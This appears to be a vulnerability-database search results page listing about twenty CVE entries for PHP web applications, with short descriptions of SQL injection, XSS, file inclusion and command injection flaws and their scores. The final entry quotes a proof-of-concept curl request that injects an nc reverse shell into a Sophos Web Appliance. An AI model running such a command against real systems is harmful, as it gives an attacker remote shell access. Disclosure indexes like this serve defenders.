Lucene search
+L

7260 matches found

Kitploit
Kitploit
added 2026/09/14 8:45 a.m.7 views

CVE-2025-55885

CVE-2025-55885 Description SQL Injection vulnerability in Alpes Recherche et Developpement ARD GEC en Ligne before v.2025-04-23 allows a remote attacker to escalate privileges via the GET parameters in index.php Attack Vectors SQL injection via unsanitized GET parameter ocid on...

6.3CVSS5.9AI score0.00357EPSS
SaveExploits1
Nuclei
Nuclei
added 2026/09/14 5:13 a.m.87 views

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

6.1CVSS6.2AI score0.15987EPSS
SaveExploits3References5
Kitploit
Kitploit
added 2026/09/13 6:55 p.m.6 views

CVE-2025-34030-PoC

CVE-2025-34030 - RCE en el parámetro 'plot' de sar2html CVSS: 10.0 Crítico Vulnerabilidad: Inyección de comandos del sistema operativo Lenguaje de programación: PHP Código del exploit: Python Referencias: https://nvd.nist.gov/vuln/detail/CVE-2025-34030...

10CVSS8.2AI score0.60444EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 6:24 p.m.5 views

CVE-2021-39408

CVE-2021-39408 Existe una vulnerabilidad de Cross Site Scripting XSS reflejado en múltiples versiones 1.0 de la aplicación Online Student Rate System que permite la ejecución arbitraria de comandos JavaScript. Página Vulnerable En index.php, el parámetro page es vulnerable, permitiendo a un...

6.1CVSS6.4AI score0.01313EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 5:54 p.m.8 views

CVE-2018-1263-Demo

Demo de exploit Esta guía te ayudará a instalar el componente vulnerable y realizar el ataque relacionado con el error de phpMyAdmin mencionado en CVE-2018-1263. Descripción de CVE Por qué existe la vulnerabilidad Cómo funciona el ataque Cómo instalar el componente vulnerable Cómo realizar el...

4.7CVSS6.4AI score0.01427EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 4:43 p.m.7 views

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflejado-Cross-Site-Scripting-Vulnerabilidad Autor del Exploit: ersinerenler Página del proveedor https://code-projects.org/blood-bank-in-php-with-source-code Enlace del software...

6.1CVSS6.4AI score0.00471EPSS
SaveExploits3
Nuclei
Nuclei
added 2026/09/13 4:24 p.m.58 views

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

6.1CVSS6.2AI score0.03626EPSS
SaveExploits0References5
Kitploit
Kitploit
added 2026/09/13 2:00 p.m.6 views

CVE-2024-35468

CVE-2024-35468 Submitter: Kha Do Human Resource Management System 1.0 Vulnerability SQL injection Description SQL injection vulnerability in /hrm/index.php in SourceCodester Human Resource Management System 1.0 allow attackers to execute arbitrary SQL commands via the password parameters. Affecte...

5.4CVSS5.9AI score0.0035EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 1:39 p.m.5 views

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - HTML Injection vulnerability in the Online event booking and reservation system version 2.3.0. Technical description: A HTML injection vulnerability exists in the Online Event Booking and Reservation System version 2.3.0. An attacker can leverage this vulnerability...

5.4CVSS5.8AI score0.03852EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/13 10:32 a.m.5 views

CVE-2021-39433

CVE-2021-39433 Existe una vulnerabilidad de inclusión de archivos local LFI en la versión BIQS IT Biqs-drive v1.83 y anteriores al enviar un payload específico como parámetro file a download/index.php. Esto permite que el atacante lea archivos arbitrarios del servidor con los permisos del usuario...

7.5CVSS7.3AI score0.08687EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 7:14 a.m.8 views

CVE-2022-27414

CVE-2022-27414 - Inyección SQL College Website CMS v1.0 - CVE-2022-27414 - Inyección SQL URL del CVE root@kitploit: https://vulners.com/cve/CVE-2022-27414 PoC a continuación Código vulnerable comienza en la línea 9 de "cwms\departments\index.php" root@kitploit: query"SELECT FROM departmentlist...

6AI score
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 5:33 a.m.7 views

CVE-2024-48589

phpAbook 9.0i - Vulnerabilidad de Cross-Site Scripting XSS CVE-2024-48589 Resumen: Se descubrió una vulnerabilidad de Cross-Site Scripting XSS en el parámetro rol de index.php o en la sección de ruta en la aplicación phpAbook. Esta vulnerabilidad permite a un atacante inyectar código JavaScript...

6.3CVSS5.9AI score0.00601EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/11 1:52 a.m.7 views

CVE-2023-34632

CVE-2023-34632 XSS reflejado en 1000projects Book Management System 1.0 CVE-2023-34632 Cross-Site Scripting XSS reflejado en 1000projects Book Management System 1.0 Descripción Se descubrió una vulnerabilidad de Cross-Site Scripting XSS reflejado en 1000projects Book Management System versión 1.0...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/10 11:54 p.m.8 views

CVE-2025-6082

CVE-2025-6082 PoC de Divulgación de Ruta Completa Autor : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-6082 Vulnerabilidad : Divulgación de Ruta Completa CWE-200 Descripción Este PoC explota un fallo de Divulgación de Ruta Completa en el plugin de WordPress Birth Chart Compatibility version...

5.3CVSS6AI score0.01567EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/10 12:56 a.m.6 views

CVE-2026-6183-SQLI

SQL Injection via id Parameter in index.php - Simple Content Management System in PHP Description A SQL Injection vulnerability exists in Simple Content Management System PHP. The id parameter in index.php is not sanitized before being passed to the SQL query, allowing an unauthenticated attacker...

7.5CVSS7.4AI score0.00313EPSS
SaveExploits0
CVE
CVE
added 2026/09/09 11:30 p.m.15 views

CVE-2026-87926

CVE-2026-87926 affects the Rizwan17 inventory-management-system (GitHub project), up to commit bfe78a330d01bb26b9daec5dc9ecd5c77900e03f . The vulnerability is a cross-site scripting (XSS) flaw in the Login Page component, specifically in the file index.php . Manipulation of the msg argument allow...

5.3CVSS0.00273EPSS
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/09 8:26 p.m.21 views

CVE-2025-61456

🛡️ CVE Disclosure: CVE-2025-61456 — Reflected XSS in E-commerce Project Disclosure Date: 14 October 2025 CVE ID: CVE-2025-61456 Severity: MEDIUM CVSS 6.1 🧩 Summary A reflected Cross-Site Scripting XSS vulnerability exists in the E-commerce Project v1.0, specifically within the index.php endpoint...

6.1CVSS5.8AI score0.00247EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/09 2:44 a.m.9 views

CVE-2025-63589

CVE-2025-63589 XSS Reflejado en el manejo de rutas de index.php de CMSimpleXH Descubierto: 6 de octubre de 2025 Productos: CMSimpleXH CMS de archivo plano de código abierto Versiones afectadas: 1.8 CVEs: CVE-2025-63589 Autenticación requerida: Ninguna sin autenticar Tipo de ataque: Cross-Site...

7.1CVSS5.8AI score0.00331EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/08 10:36 p.m.7 views

CVE-2021-39377

VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39377 Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL MariaDB como base de datos de la aplicación. Un atacante malintencionado puede enviar comandos SQL a la base de datos MySQL MariaDB a través de...

9.8CVSS8.2AI score0.03604EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/07 3:33 p.m.4 views

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE en Sophos Web Appliance Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip...

9.8CVSS8.4AI score0.99999EPSS
SaveExploits10
Rows per page
Query Builder